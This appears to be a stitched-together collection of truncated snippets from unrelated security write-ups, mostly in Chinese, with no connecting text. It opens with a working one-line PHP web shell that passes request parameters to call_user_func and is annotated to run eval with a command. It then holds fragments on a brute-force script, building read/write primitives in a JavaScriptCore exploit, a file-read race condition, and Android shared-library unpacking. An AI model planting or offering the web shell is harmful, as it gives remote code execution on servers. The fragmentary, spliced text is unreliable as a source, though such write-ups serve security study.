$callback :被调用的回调函数 $parameter:0个或以上的参数,被传入回调函数。 <?php @call_user_func($_GET['id'],$_POST['a']); //传入id=eval&a=command ?> 类似的还有call_user_func_array、array_filter、 register_tick_function、 forward_sta

然后就是去推出,输入的forward_char和back_char了,由于限制在0f之中所以使用爆破的方式脚本如下init = [2, 0, 128, 128, 2, 6, 192, 256, 3, 6, 128, 0, 0, 6, 64, 0, 2, 4, 64, 0, 1, 2, 64, 0, 0, 6, 192, 0, 0, 6, 192, 0, 3, 2, 128, 128, 3, 6, 192, 256...
最后structureID取nameStr.charCodeAt(9)是因为Function.prototype.toString.call 返回的是整个函数源码,开头为”function “,占去前9个字符。所以第10个字符为函数名。构造任意读写泄露StructureID后,我们可以仿造泄露StructureID方法一那样构造一个JSArray,只不过现在StructureID填充的是有效的,可以根据Butterfly进行读写...

In order to make unlink call fail, we need to open the file for reading right when unlink will attempt to delete it. This is called a race condition and we need to exploit it. We can read the file using the form from the first server by providing as input file:///var/www/html/...
.preinit_array->->.init->->.init array->->JNI_Onload->->java_com_XXX; 但 so 是不会执行.preinit_array 的, 可以忽略。而.init以及.init_array一般会作为壳的入口地方 运行readelf –d libexecute_table.so 可以看到INIT_ARRAY在0x34cd0处,直接丢到IDA查看,可以看到相关的初始化函数列表,为了方便观...
